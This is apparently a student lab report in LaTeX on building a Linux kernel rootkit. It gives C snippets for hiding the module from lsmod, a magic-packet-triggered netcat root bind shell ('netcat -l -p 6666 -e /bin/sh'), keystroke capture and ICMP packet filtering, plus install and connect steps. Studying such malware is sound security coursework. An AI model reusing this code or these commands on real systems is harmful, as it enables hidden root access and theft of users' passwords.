-
Notifications
You must be signed in to change notification settings - Fork 11
Expand file tree
/
Copy pathdocumentation.tex
More file actions
284 lines (212 loc) · 16.4 KB
/
documentation.tex
File metadata and controls
284 lines (212 loc) · 16.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
% University/School Laboratory Report
% LaTeX Template
% Version 3.1 (25/3/14)
%
% This template has been downloaded from:
% http://www.LaTeXTemplates.com
%
% Original author:
% Linux and Unix Users Group at Virginia Tech Wiki
% (https://vtluug.org/wiki/Example_LaTeX_chem_lab_report)
%
% License:
% CC BY-NC-SA 3.0 (http://creativecommons.org/licenses/by-nc-sa/3.0/)
%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%----------------------------------------------------------------------------------------
% PACKAGES AND DOCUMENT CONFIGURATIONS
%----------------------------------------------------------------------------------------
\documentclass[12pt]{article}
\usepackage[utf8]{inputenc}
\usepackage[english]{babel}
\usepackage[babel]{csquotes}
\usepackage[T1]{fontenc}
\usepackage{hyperref}
\usepackage{amsmath}
\usepackage{enumitem}
\usepackage{lmodern}
\usepackage{selinput}
\usepackage{listings}
\usepackage{graphicx}
\usepackage{amssymb}% http://ctan.org/pkg/amssymb
\usepackage{pifont}% http://ctan.org/pkg/pifont
%\usepackage{ulem}
\usepackage[usenames,dvipsnames]{xcolor}
%\usepackage[breakable, theorems, skins]{tcolorbox}
\usepackage{soul}
%\tcbset{enhanced}
\newcommand*\xor{\mathbin{\oplus}}
\newcommand{\shellcmd}[1]{\\\indent\indent\texttt{\footnotesize\ #1}\\}
\newcommand{\shellcmdinline}[1]{\texttt{\footnotesize #1}}
\definecolor{mygreen}{rgb}{0,0.6,0}
\definecolor{mygray}{rgb}{0.5,0.5,0.5}
\definecolor{mymauve}{rgb}{0.58,0,0.82}
\lstset{ %
backgroundcolor=\color{white}, % choose the background color
basicstyle=\footnotesize, % size of fonts used for the code
breaklines=true, % automatic line breaking only at whitespace
captionpos=b, % sets the caption-position to bottom
commentstyle=\color{mygreen}, % comment style
escapeinside={\%*}{*)}, % if you want to add LaTeX within your code
keywordstyle=\color{blue}, % keyword style
stringstyle=\color{mymauve}, % string literal style
language=C,
numbers=left
}
%\usepackage{times} % Uncomment to use the Times New Roman font
%----------------------------------------------------------------------------------------
% DOCUMENT INFORMATION
%----------------------------------------------------------------------------------------
\title{\includegraphics[height=3cm]{logo} \\
\huge{Keylogger/Backdoor Rootkit} \\\large{Winter Term 2015/16} \\\quad \\\huge{Applied Information Security}}
\author{Clemens \textsc{Brunner}\\
Michael \textsc{Fröwis} \\
\\
\\
supervised by \\
Matthias \textsc{Gander} \\ \\} % Author name
\date{\today} % Date for the report
\begin{document}
\maketitle % Insert the title, author and date
\thispagestyle{empty}
\newpage
\tableofcontents
\thispagestyle{empty}
\newpage
\section{Introduction}
This work aims at developing a toy Linux kernel rootkit with basic keylogging and backdoor capabilities. A \emph{rootkit} is usually a piece of malicious software designed to give an attacker some kind of privileged access (root) to a system while masking its existence on the system. We choose two very basic but popular privileged tasks for a rootkit to implement. The first creates a simple \emph{backdoor}, that means every attacker can span a shell, with root access, on demand and connect to it without any knowledge of user or root credentials. That means the attacker has full control over the infected machine. The second task we implemented is a keylogger that sends every keystroke to the attacker. Such a keylogger gives the attacker the possibility to steal passwords, account information and therefore the identity of the attacked user.
In the remaining part of this section we want to give a basic introduction into kernel modules and why we used them. In Section \ref{sec:impl} we talk about the actual implementation of the features in detail. Section \ref{sec:usage} sketches the usage in a brief fashion. After that, in Section \ref{sec:conc} we give a brief summary and conclusion.
\subsection{Kernel Modules}
Almost every modern operating system has some sort of kernel extension mechanism. Without such a mechanism everything that has to run in kernel mode has to be included into the kernel binary. This would not only be a massive wast of space, but would also require to rebuild the entire kernel every time we need new functionality. The aim of a kernel extension mechanism is to extend the kernel without rebuilding the kernel or even rebooting it.
Different operating systems have different names for such extensions as for example kernel-mode driver (Windows), kernel extension (OS X) or loadable kernel module or LKM for short (Linux). Because we develop a Linux rootkit we use the term kernel module in the following.
A kernel module in its simplest form is nothing more than a piece of code, usually written in the C programming language that can be loaded into kernel space at runtime. It has a setup (\texttt{init\_module}) and an exit function (\texttt{cleanup\_module}) which are called if the module is loaded or unloaded. Listing \ref{simple} gives an example of a very simple kernel module. The only thing it does it logs ``Hello world'' to the system log when loaded and ``Goodbye world'' when unloaded.
\begin{lstlisting}[caption=Source: {\url{http://www.tldp.org/LDP/lkmpg/2.6/html/x121.html} , visited 2016-01-19.}, label=simple]
/*
* hello-1.c - The simplest kernel module.
*/
#include <linux/module.h> /* Needed by all modules */
#include <linux/kernel.h> /* Needed for KERN_INFO */
int init_module(void)
{
printk(KERN_INFO "Hello world 1.\n");
/*
* A non 0 return means init_module failed; module can't be loaded.
*/
return 0;
}
void cleanup_module(void)
{
printk(KERN_INFO "Goodbye world 1.\n");
}
module_init(init_module);
module_exit(cleanup_module);
\end{lstlisting}
All the code inside a kernel module is run in the context of the kernel and therefore it can do anything possible on your computer, without any protection. That means even something as small as a single bad pointer could possibly wipe your hard drive. Therefore it is a good idea to use a VM for kernel programming. Another difference that has to be mentioned is that you don't use the usual C standard lib but code that is exported by the kernel itself.
In the implementation section we will use a kernel module to implement our rootkit, because we want to have full control over the compromised system.
\newpage
\section{Implementation}
\label{sec:impl}
In this section we want to describe some of the implementation details that were important for the success of the project.
\subsection{Hiding}
As mentioned above a rootkit should mask its existence as much as possible in order to prevent the detection of itself and its activity. Although a kernel module is not visible as a process on the system it can be easily revealed via the \shellcmdinline{lsmod} command, which lists all currently loaded kernel modules. To prevent the module from being detected via a common means of detection (i.e. \shellcmdinline{lsmod}) certain measures have to be taken.
This sounds hard at first but it is rather easy. We can use the special exported symbol \texttt{extern struct module \_\_this\_module;} which points to the module we are currently in. The module structure, see Listing \ref{module}, has a field \texttt{list} that points to the list of all modules.
\begin{lstlisting}[caption=Extract from Linux/include/linux/module.h, label=module]
struct module {
enum module_state state;
/* Member of list of modules */
struct list_head list;
/* Unique handle for this module */
char name[MODULE_NAME_LEN];
// skipped for brevity
}
\end{lstlisting}
That means to hide the module from detection we only need to delete the reference to it from the list of modules and we are done. Luckily the kernel provides us with handy list manipulation functions. Finally our effort boils down to one line of code as you can see in Listing \ref{hide}.
\begin{lstlisting}[caption=Hide the current module., label=hide]
list_del(&(__this_module.list));
\end{lstlisting}
\subsection{Backdoor}
For an adversary it proves to be beneficial to have immediate access to a system. Our initial assumption was that we have already compromised the system, i.e. have a rootshell. Hence, to ease re-entry to the system it is essential to install a backdoor, which turns out to be trivial. What we also wanted to achieve is that the backdoor is not active all the time but can be activated whenever needed. Again magic packets, as described in \ref{sec:magicpackage} are used to activate the backdoor. The backdoor itself is created by leveraging netcat, via the following command: \shellcmdinline{netcat -l -p 6666 -e /bin/sh} in userland (ring 3). This is done via the \shellcmdinline{call\_usermodehelper} function. Listing \ref{backdoor} shows the spawning function.
\begin{lstlisting}[caption=Span netcat in userland., label=backdoor]
void shell_tasklet_fn(unsigned long data){
static char *envp[] = {
"HOME=/",
"TERM=linux",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL };
char *argv3[] = {"/bin/sh", "-c", "/bin/netcat -l -p 6666 -e /bin/sh &", NULL};
call_usermodehelper(argv3[0], argv3, envp, UMH_NO_WAIT);
}
\end{lstlisting}
The hard part was not the creation of the process itself but doing it inside of an interrupt handler (reception of magic packet). Many functions can't be called safely (long running functions and so on) inside the context of an interrupt. Because of that we used the tasklet API to defer the execution of \shellcmdinline{call\_usermodehelper} to a save point in time into the kernel context. Listing \ref{tasklet} shows the usage of the tasklet API to start the \shellcmdinline{shell\_tasklet\_fn} in a deferred and safe manner.
\begin{lstlisting}[caption=Tasklet API., label=tasklet]
DECLARE_TASKLET(shell_tasklet, shell_tasklet_fn, 0);
void start_remote_shell(void){
tasklet_schedule( &shell_tasklet );
}
\end{lstlisting}
\subsection{Keylogging}
This section deals with keylogging in the linux kernel. Keylogging describes the process of intercepting all input-keys, this includes all passwords, usernames or bank account information assuming the user entered this information, from a keyboard. Our rootkit intercepts all keys and sends them to the attacker. To make it harder to detect the rootkit with the keylogging function it is possible to activate and deactivate it with magic packets, see \ref{sec:magicpackage}. \newline
The linux kernel already provides a method to intercept all keys, to use this implementation it is necessary to include the keyboard header and define a new \lstinline{struct notifier_block keyboard_notifier}, see Listing \ref{includeKey}. \cite{f6}
\begin{lstlisting}[caption=Keyboard header., label=includeKey]
#include <linux/keyboard.h>
static struct notifier_block keyboard_notifier = {
.notifier_call = keyboard_hook
};
int keyboard_hook(struct notifier_block *, unsigned long code, void *);
\end{lstlisting}
The keyboard notifier stores the \lstinline{keyboard_hook} method which will be called on each key press. This function gets a keyboard keycode as input, to filter out the associated character we use two arrays with the mapping for the American keyboard layout. The first one is the mapping without \lstinline{SHIFT} and the second is with \lstinline{SHIFT} pressed. The keylogger of the described rootkit does not work with a german keyboard layout, because the mapping from keycodes to characters is fixed for the characters of the American keyboard layout.
To inform the linux kernel to add or remove our notifier to the notification list for any keyboard event, we have to register or unregister the keyboard notifier, see Listing \ref{registerKeyboard}. We do that when the kernel module is loaded or unloaded.
\begin{lstlisting}[caption=Register Keyboard, label=registerKeyboard]
register_keyboard_notifier(&keyboard_notifier);
unregister_keyboard_notifier(&keyboard_notifier);
\end{lstlisting}
\subsection{Networking and Activation}
Ideally our rootkit runs without being detected and without leaving any traces on the attacked system. To do so we don't log keystrokes to file but send them over the network. We used so-called magic packets for the activation and deactivation of a service. A magic packet should be a packet which is hard to detect or in other words a packet that is not easily distinguishable from normal packets. Our magic packets are normal ping request with the anomaly that the icmp header field id is equal to the icmp code field. If we intercept a magic packet we compare the code with our predefined de/activation codes.
\label{sec:magicpackage}
\newline Communication-wise two different types of packets are used.
\begin{itemize}
\item ICMP Packets (for the activation packets)
\item UDP (sending keystrokes)
\end{itemize}
\subsubsection{ICMP Packets}
Magic packets can activate (deactivate) the keylogger, hide (unhide) the rootkit module or open a backdoor shell with root access. The following values are used in the code to identify the desired functionality: 122 - activate keylogger, 123 - deactivate keylogger, 124 - hide module, 125 - unhide module, 126 - open backdoor.
To intercept the packets a new \lstinline{netfilter_hook} is added with the netfilter library, see Listing \ref{netfilter}. \cite{f7}
\begin{lstlisting}[caption=Netfilter Hook, label=netfilter]
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
static struct nf_hook_ops netfilter_hook;
netfilter_hook.hook = (nf_hookfn*) filter_magic_packets;
netfilter_hook.hooknum = 0;
netfilter_hook.pf = PF_INET;
netfilter_hook.priority = 1;
nf_register_hook(&netfilter_hook);
nf_register_hook(&netfilter_hook);
\end{lstlisting}
The netfilter hook catches all IP packets. To detect ping packets only the ICMP packets need to be unpacked from the IP messages. Pings are just a special kind of ICMP packets namely ICMP echo requests (type 8). For the evaluation only packets with the already defined properties are used (id==code).
\subsubsection{Keylogging over UDP}
To send the keys to the attacker UDP datagram packets are used. We used UDP because it is connectionless and easy to use. That means we do not need a permanent connection opened to our command and control host. For details about UDP read Section 6.9 in \cite{rechenberg1997informatik}.
\newpage
\section{Usage}
\label{sec:usage}
This section describes how to setup the rootkit and how to use the client application.
\subsection{Rootkit}
The rootkit can be build via \shellcmdinline{make}. To install it execute \shellcmdinline{insmod rootkit.ko} as root user.
\subsection{Client}
The to start one of the possible operation on our infected system use \shellcmd{rootkit\_client.py~-[a,d]~<feature-key>~-h~<host>} Three different features can be controlled via the feature-keys \emph{key} (keylogger), \emph{hide} (hide the kernel module) and \emph{root} (backdoor/root access). To activate a feature use the option \shellcmdinline{-a} and \shellcmdinline{-d} to deactivate a feature. The root feature is the only feature that has no deactivation because it can be easily be done via the shell itself. The root feature only starts the backdoor on a certain host. To connect to it use the usual suspects e.g. \shellcmdinline\shellcmdinline{nc <host> 6666}.
\newpage
\section{Conclusion}
With some basic knowledge of the linux kernel, Google and some time it is possible to develop a simple rootkit for linux. Backdoor and keylogging is also rather trivial if you don't spend to much effort handling error situations or edge cases. The same goes for hiding. But if you want a bullet proof solution that works in every situation, on every machine and does not reveal itself you gonna have a hard time.
\label{sec:conc}
\subsection{Possible Improvements}
As in every project there is room for improvements for example:
We only prevent the rootkit detection via \shellcmdinline{lsmod} and equivalent commands but there are other methods to detect rootkits e.g. network activity, changes in the system call table and so on. The implementation of the backdoor should be improved. It needs a specific version of \shellcmdinline{netcat} (-e option) to be installed. The invocation of the userland \shellcmdinline{netcat} process from the kernel is not very reliable and needs to be revisited. And the worst part is that the new netcat process is visible to every user and needs to be hidden.
\cite{a1}
\nocite{a1}
\nocite{b2}
\nocite{c3}
\nocite{d4}
\nocite{e5}
\nocite{f6}
\bibliography{biblio}{}
\bibliographystyle{alpha}
\end{document}